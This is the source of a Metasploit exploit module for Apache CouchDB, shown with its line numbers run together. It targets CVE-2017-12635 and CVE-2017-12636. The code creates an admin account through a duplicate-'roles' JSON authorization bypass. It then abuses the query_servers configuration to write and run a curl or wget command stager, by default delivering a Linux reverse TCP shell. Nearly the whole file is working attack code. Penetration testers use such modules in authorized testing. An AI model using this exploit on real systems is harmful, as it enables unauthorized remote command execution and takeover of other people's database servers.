Path: blob/master/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apache CouchDB Arbitrary Command Execution',18'Description' => %q{19CouchDB administrative users can configure the database server via HTTP(S).20Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.21This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,22including downloading and executing scripts from the public internet.23},24'Author' => [25'Max Justicz', # CVE-2017-12635 Vulnerability discovery26'Joan Touzet', # CVE-2017-12636 Vulnerability discovery27'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module28],29'References' => [30['CVE', '2017-12636'],31['CVE', '2017-12635'],32['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],33['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],34['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']35],36'DisclosureDate' => '2016-04-06',37'License' => MSF_LICENSE,38'Platform' => 'linux',39'Arch' => [ARCH_X86, ARCH_X64],40'Privileged' => false,41'DefaultOptions' => {42'PAYLOAD' => 'linux/x64/shell_reverse_tcp',43'CMDSTAGER::FLAVOR' => 'curl'44},45'CmdStagerFlavor' => ['curl', 'wget'],46'Targets' => [47['Automatic', {}],48['Apache CouchDB version 1.x', {}],49['Apache CouchDB version 2.x', {}]50],51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options([61Opt::RPORT(5984),62OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),63OptString.new('HttpUsername', [false, 'The username to login as']),64OptString.new('HttpPassword', [false, 'The password to login with'])65])6667register_advanced_options([68OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),69OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])70])71end7273def post_auth?74true75end7677def check78get_version79return CheckCode::Unknown if @version.nil?8081version = Rex::Version.new(@version)82return CheckCode::Unknown if version.version.empty?8384vprint_status "Found CouchDB version #{version}"8586return CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))8788CheckCode::Safe89end9091def exploit92fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version93version = @version9495vprint_good("#{peer} - Authorization bypass successful") if auth_bypass9697print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")98@cmdstager = generate_cmdstager(99temp: datastore['WritableDir'],100file: File.basename(cmdstager_path)101).join(';')102103register_file_for_cleanup(cmdstager_path)104105if !datastore['Attempts'] || datastore['Attempts'] <= 0106attempts = 1107else108attempts = datastore['Attempts']109end110111attempts.times do |i|112print_status("#{peer} - The #{i + 1} time to exploit")113send_payload(version)114Rex.sleep(5)115# break if we get the shell116break if session_created?117end118end119120# CVE-2017-12635121# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,122# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization123# for the newly created user.124def auth_bypass125username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)126password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)127@auth = basic_auth(username, password)128129res = send_request_cgi(130'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),131'method' => 'PUT',132'ctype' => 'application/json',133'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})134)135136if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']137return true138else139return false140end141end142143def get_version144@version = nil145146begin147res = send_request_cgi(148'uri' => normalize_uri(target_uri.path),149'method' => 'GET',150'authorization' => @auth151)152rescue Rex::ConnectionError153vprint_bad("#{peer} - Connection failed")154return false155end156157unless res158vprint_bad("#{peer} - No response, check if it is CouchDB. ")159return false160end161162if res && res.code == 401163print_bad("#{peer} - Authentication required.")164return false165end166167if res && res.code == 200168res_json = res.get_json_document169170if res_json.empty?171vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")172return false173end174175@version = res_json['version'] if res_json['version']176return true177end178179vprint_warning("#{peer} - Version not found")180return true181end182183def send_payload(version)184vprint_status("#{peer} - CouchDB version is #{version}") if version185186version = Rex::Version.new(@version)187if version.version.empty?188vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")189# if target set Automatic, exploit failed.190if target == targets[0]191fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")192elsif target == targets[1]193payload1194elsif target == targets[2]195payload2196end197elsif version < Rex::Version.new('1.7.0')198payload1199elsif version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))200payload2201elsif version >= Rex::Version.new('1.7.0') || Rex::Version.new('2.1.0')202fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")203end204end205206# Exploit with multi requests207# payload1 is for the version of couchdb below 1.7.0208def payload1209rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)210rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)211rand_db = Rex::Text.rand_text_alpha_lower(4..12)212rand_doc = Rex::Text.rand_text_alpha_lower(4..12)213rand_hex = Rex::Text.rand_text_hex(32)214rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"215216register_file_for_cleanup(rand_file)217218send_request_cgi(219'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),220'method' => 'PUT',221'authorization' => @auth,222'data' => %("echo '#{@cmdstager}' > #{rand_file}")223)224225send_request_cgi(226'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),227'method' => 'PUT',228'authorization' => @auth229)230231send_request_cgi(232'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),233'method' => 'PUT',234'authorization' => @auth,235'data' => %({"_id": "#{rand_hex}"})236)237238send_request_cgi(239'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),240'method' => 'POST',241'authorization' => @auth,242'ctype' => 'application/json',243'data' => %({"language":"#{rand_cmd1}","map":""})244)245246send_request_cgi(247'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),248'method' => 'PUT',249'authorization' => @auth,250'data' => %("/bin/sh #{rand_file}")251)252253send_request_cgi(254'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),255'method' => 'POST',256'authorization' => @auth,257'ctype' => 'application/json',258'data' => %({"language":"#{rand_cmd2}","map":""})259)260end261262# payload2 is for the version of couchdb below 2.1.1263def payload2264rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)265rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)266rand_db = Rex::Text.rand_text_alpha_lower(4..12)267rand_doc = Rex::Text.rand_text_alpha_lower(4..12)268rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)269rand_hex = Rex::Text.rand_text_hex(32)270rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"271272register_file_for_cleanup(rand_file)273274res = send_request_cgi(275'uri' => normalize_uri(target_uri.path, "/_membership"),276'method' => 'GET',277'authorization' => @auth278)279280node = res.get_json_document['all_nodes'][0]281282send_request_cgi(283'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),284'method' => 'PUT',285'authorization' => @auth,286'data' => %("echo '#{@cmdstager}' > #{rand_file}")287)288289send_request_cgi(290'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),291'method' => 'PUT',292'authorization' => @auth293)294295send_request_cgi(296'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),297'method' => 'PUT',298'authorization' => @auth,299'data' => %({"_id": "#{rand_hex}"})300)301302send_request_cgi(303'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),304'method' => 'PUT',305'authorization' => @auth,306'ctype' => 'application/json',307'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})308)309310send_request_cgi(311'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),312'method' => 'PUT',313'authorization' => @auth,314'data' => %("/bin/sh #{rand_file}")315)316317send_request_cgi(318'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),319'method' => 'PUT',320'authorization' => @auth,321'ctype' => 'application/json',322'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})323)324end325326def cmdstager_path327@cmdstager_path ||=328"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"329end330331end332333334